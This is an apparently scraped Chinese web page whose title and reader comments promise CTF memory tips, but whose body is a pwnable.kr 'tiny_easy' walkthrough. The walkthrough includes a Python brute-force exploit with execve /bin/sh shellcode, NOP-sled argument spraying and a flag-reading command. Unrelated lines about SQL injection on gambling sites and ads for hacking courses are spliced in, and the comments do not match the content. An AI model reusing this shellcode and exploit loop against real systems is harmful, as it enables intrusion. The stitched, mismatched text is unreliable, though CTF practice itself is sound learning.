CTF竞赛题记忆技巧

2024-10-31 11:57:13 | 作者: 匿名

建议ctfer在阅读本文的时候首先要掌握以下一些内容,因为这些东西对于ctf比赛来说是非常必要的。

基本的Linux知识有基本的了解其实这是一门艺术,研究人员需要非常高的水平才能胜任这份工作,因为很多时候需要结合各个领域的知识。例如。 C语言、汇编、堆栈、使用python进行漏洞开发利用等等,当然这些只是冰山一角。

对于一个刚刚进入漏洞利用开发领域的新手来说,这可能会比较困难,因为这是一个从头开始积累的过程。

作为一个新手,我决定先在这个网站上挑战最简单的pwn问题。不要问为什么,就问其他试题太难了。

计算机字节和shell的魅力

我们先进入SSH吧!

ssh [tiny_easy@pwnable.kr](mailto:tiny_easy@pwnable.kr) -p2222 (对于Windows用户,我强烈建议使用xshell,它是一个非常易于使用的软件,可以用来处理ssh会话并轻松下载软件)

进入正题

前言

最近听说某棋牌产品搭建的网站存在SQL注入。有人刚刚给我发了一个

用穿梭机渗透常见日常

信息收集-漏洞检测/利用-提权/权限维护-清理痕迹

某菠菜网站渗透实战

1.网络安全学习路线多方向

2.网上最全的CTF入门学习资料

4、各大互联网安全公司面试题汇总

5、红蓝对抗技术秘密

6. 网络安全、Linux、Web安全、渗透测试基础介绍视频

在ssh 中,我们运行“ls”命令,只找到一个二进制文件和我们的标志文件,我们无法读取它,因为我们没有任何权限。

让我们首先下载二进制文件并对其进行一些检查:首先使用“file”命令来查看它。该命令允许我们查看二进制文件的详细信息,包括其架构、位数(x64 与x32)以及许多其他详细信息。

从输出中我们可以看到该文件是x86架构的32位ELF文件,并且是静态链接的。

但是等等.注意这个细节!

让我们运行这个二进制文件,看看会发生什么:

从二进制文件已损坏标头并在执行时崩溃的事实来看,我们猜测该二进制文件现在可能与我们通常看到的不同。

让我们在ida 中打开二进制文件并检查代码

这可能是我见过的最短的文件,整个程序只有4 条指令。

CTF竞赛题记忆技巧

我们从堆栈中执行两条弹出指令,获取edx 指向的值,然后跳转到该值。

但是等等.这个程序中没有进行任何调用,那么哪些值会从堆栈中弹出呢?

我们用gdb检查一下!

查看堆栈,我们看到eax 将接收值1,edx 将接收指向字符串的指针

“/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”,这是我们的二进制文件的路径!

如果我们继续执行直到edx 被调用,我们就会明白为什么我们之前收到了段错误。

该程序将尝试跳转到地址0x6d6f682f,该地址对应于字符串“/hom”的值。它是我们二进制路径的一部分。

我们继续使用参数test1 test2 test3 运行我们的程序。我们可以通过在gdb 中运行以下命令来实现这一点。

运行测试1 测试2 测试3

我们可以看到现在栈已经改变了,栈中有参数了,栈顶的值也从0x1 变成了0x4。

你还记得大一学的C语言中main函数是如何接收输入的吗?

int main(int argc, char * argv[], char * envp) main中的argv[0]总是指向当前二进制文件的路径,argv[1] argv[2]等会包含我们输入的参数。

为了成功跳转到想要的位置,我们需要控制argv[0]的值。如果argv[0] 不是我们输入的参数,我们如何控制它?

这里隆重介绍一个神奇的库文件——pwnlib。 Pwnlib是一个Python库,可以让我们轻松地与进程进行通信。

pwnlib.tubes.process 允许我们创建自己的进程并控制其不同的参数(argv、envp)等。

我编译了以下代码片段来演示pwnlib的简单使用:

int main(int argc, char * argv[]){ printf('\nthis is our argv[0] %s\n', argv[0]);} 当我编译并运行它时,我得到了以下结果。

我们可以使用pwnlib 将argv[0] 修改为我们自己的字符串,

from pwnlib.tubes.process import * argv_program=process(argv=['awdawd'],executable='/home/user/test_argv')print argv_program.recv() 现在,运行我们的python 程序,看看我们从test_argv 得到了什么从该程序中可以获得什么结果:

好的!

现在,我们知道如何控制argv0 参数,这意味着我们可以跳转到tiny_easy 二进制文件中的任何位置。

下一步是检查这个二进制文件的安全属性,让我们运行checksec 命令看看效果:

RELRO:这里没有RELRO保护;

堆栈:未找到堆栈金丝雀机制;

NX:NX 被禁用;

PIE:无PIE;

CTF竞赛题记忆技巧

注意:ASLR 默认在堆栈中启用。

NX保护是一种保护机制,不允许我们运行二进制文件的代码部分中的代码,这意味着我们无法跳转到堆栈或堆上的代码来运行它们。

在这个例子中,我们可以看到这个二进制文件是在没有保护的情况下编译的,这意味着我们可以跳转到堆上的代码。

这里需要强调的一件事是:如果您从一开始就直接检查这种类型的保护,整个过程将为您节省大量时间。

在这个例子中,由于我们无法控制返回地址并且NX 被禁用,所以我们最好的选择是专注于寻找一种方法来跳转堆栈并执行我们存储在某个参数中的shellcode。

同时,另一方面,如果启用了NX,那么这意味着我们无法跳转到堆栈,我们需要找到一种不同的方式来运行我们的代码(ret2libc 和许多其他方式)。

现在我们可以控制跳转的位置,我们需要处理在堆栈级别启用ASLR 的事实。

我们可以尝试找到一条允许我们跳转到堆栈的指令,然后运行我们的shellcode。程序中的其余字节是elf 标头的一部分。

我们还可以使用“C”快捷键查看IDA中针对这些字节的指令。

看来我们使用的最好的命令是“jmp esp”。该指令将跳转到堆栈,我们可以在其中获取存储在参数中的shellcode。

我喜欢手动搜索,所以我使用在线反汇编来查找jmp esp 指令由哪些操作码组成。

如果我们尝试反汇编jmp esp,我们得到的结果是: ff e4

我们尝试使用search-bytesequence 在IDA 中搜索该字节。

什么?没有结果?

我尝试搜索调用esp 的字节,但什么也没找到!

这真是郁闷啊!

我们想要跳转到堆栈上的代码,但由于ASLR,我们不知道要跳转到哪个地址。

我们试图找到一条指令,让我们在不知道地址的情况下跳转到堆栈,但我们没有找到任何指令。

我尝试了另一个技巧:跳转到允许您将字节写入一段代码的指令。

可以尝试这样的方法:使用jmp esp操作码覆盖其中一条指令的地址,然后跳转到该指令的地址。

这个过程就像驾驶火车一样,一边行驶一边修筑轨道。

不幸的是,当我使用view-Open subviews-segments 查看哪些段有权限时,我发现了以下内容。

代码部分仅启用了R 和X 权限

R——读取权限

X-执行权限

W(写)权限被禁用。

CTF竞赛题记忆技巧

这意味着如果我们重写代码部分中的指令,程序就会崩溃。

我已经在这个程序上工作了几个小时,尝试了不同的跳转指令的方法,但我找不到进入堆栈的方法。

那我该怎么办呢?

信息收集

我开始尝试查找ASLR在32位系统上的实现原理(特别强调我们的二进制文件是32位的)。我找到了以下解释:

“对于32 位,有2^32 (4 294 967 296) 个地址,但是内核只允许一半的位(2^(32/2)=65 536) 在虚拟内存中执行”。

这意味着堆栈大小可以调整为65,536 字节。

如果我们可以控制几万个shellcode字节,那么我们可以尝试跳转到堆栈上的固定地址,这样的成功率会很高。

下面我检查了是否可以使用长字符串发送大量参数。

from pwnlib.tubes.process import *for i in range(600): argv.append('a'*1024)argv_program=process(argv=['awdawd'],executable='/home/user/test_argv')print argv_program.recv()

在这个例子中,我们向程序发送了6014400 字节,并且它运行成功。

我们可以传递参数来填充nops,最后发送我们的shellcode。

这样,我们就可以跳转到堆栈上的随机地址,希望能够到达我们的nop 指令,然后我们将一路滑动到我们的shellcode。

我编写了以下代码来尝试执行该程序。

这里我们试图跳转到堆栈上的一个常量地址:0xffb05544,选择这个地址有两个原因。

1.在这个程序中,我注意到用gdb执行多次后,这个地址大部分时间都在堆栈范围内或者非常接近堆栈范围。

2.我们需要一个没有任何空字节的地址,否则我们会得到

异常:“argv[0]: 中存在不适当的空值”

所以我写了下面的代码:

导入结构导入随机从pwnlib.tubes.process导入*从pwnlib.exception导入*导入pwnlibEXECV='\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\ xc0\x40\xcd\x80'def build_shellcode(address): ''' 构建shellcode 地址- 跳转到的地址''' args=[ ] args.append(address) shellcode='\x90'*8000 + EXECV for i in range(120): args.append (shellcode) return argsif __name__=='__main__': Jump_address=struct.pack('I',0xffb05544) for i in range(10000000): try: prog_args=build_shellcode(jump_address) print '尝试次数: {}'.format(i + 1 ) pro=process(argv=prog_args, env={ },executable='/home/user/CTFs/Pwnables/tiny_easy/tiny_easy') print 'started_running address {}'.format(hex(struct.unpack('I',jump_address)[0])) pro.timeout=0.08 # 发送进程的命令shell pro.sendline('echo we_made_it!') # 接收命令执行结果data=pro.recvline() if data: print '收到数据! print data break except (EOFError, pwnlib.exception.PwnlibException) as e: print e这段代码将运行tiny_easy二进制文件并跳转到我们的shellcode,从而打开一个shell。如果成功,我们将能够发送命令“echo we_made_it”并查看其输出。

去做就对了!

成功!现在我们在CTF服务器上检查一下。

请注意,我们需要将执行的命令从“echo we_made_it”更改为“cat /home/tiny_easy/flag”,以便我们获得标志。

我们可以使用“scp”命令轻松地将脚本上传到服务器的tmp 目录,如下所示。

scp -P 2222 ./pwn_tiny.py tiny_easy@pwnable.kr:/tmp/pwn_tiny.py

终于拿到我们的旗帜了!

用户评论

空谷幽兰

每次做CTF题都感觉像是记忆迷宫,这些记忆技巧真是救星啊!感觉掌握了一些,做题速度都快了不少。

    有10位网友表示赞同!

麝香味

用了这些记忆技巧,感觉CTF竞赛题不再那么让人头疼了,感谢分享!

    有18位网友表示赞同!

幸好是你

记忆技巧这东西,我觉得因人而异,有些人可能觉得有用,有些人可能觉得不适用。

    有18位网友表示赞同!

见朕骑妓的时刻

刚刚看了这些技巧,感觉挺实用的,尤其是那些联想记忆法,真的可以试试。

    有13位网友表示赞同!

▼遗忘那段似水年华

我以前就是死记硬背,现在想想真是浪费时间,这些技巧太有必要了。

    有18位网友表示赞同!

百合的盛世恋

CTF竞赛题记忆技巧?感觉像是废话,但一看内容,发现还是有很多值得学习的地方。

    有8位网友表示赞同!

执笔画眉

对于新手来说,这些记忆技巧真的很关键,感谢作者分享,希望更多人看到。

    有17位网友表示赞同!

最迷人的危险

记忆技巧确实重要,但我感觉最重要的还是理解和掌握知识点。

    有15位网友表示赞同!

忘故

看完这些技巧,我决定改变一下自己的做题习惯,希望能提高效率。

    有5位网友表示赞同!

各自安好ぃ

记忆技巧这东西,我觉得还是得自己摸索,毕竟每个人的记忆方式都不同。

    有10位网友表示赞同!

迷路的男人

CTF竞赛题那么多,记忆技巧真的能帮大忙,尤其是那种思维导图法。

    有18位网友表示赞同!

凝残月

这些记忆技巧真的很实用,尤其是对于那种需要记忆大量信息的题目。

    有10位网友表示赞同!

日久见人心

感觉作者写得很详细,每个技巧都给出了实际例子,对于初学者来说很有帮助。

    有8位网友表示赞同!

话少情在

用了这些记忆技巧,感觉做题的时候思路更加清晰了,谢谢分享!

    有6位网友表示赞同!

熏染

记忆技巧这东西,我觉得关键还是在于坚持,不能一蹴而就。

    有8位网友表示赞同!

花菲

对于长期做题的人来说,这些技巧可能不太有用,但对于新手来说真的很关键。

    有7位网友表示赞同!

挽手余生ら

CTF竞赛题记忆技巧,我觉得最重要的是要找到适合自己的方法。

    有14位网友表示赞同!

虚伪了的真心

看完这些技巧,我感觉自己之前的做题方法太笨拙了,以后要改进。

    有15位网友表示赞同!

伤离别

记忆技巧确实重要,但我觉得最重要的是要有好的做题习惯和态度。

    有17位网友表示赞同!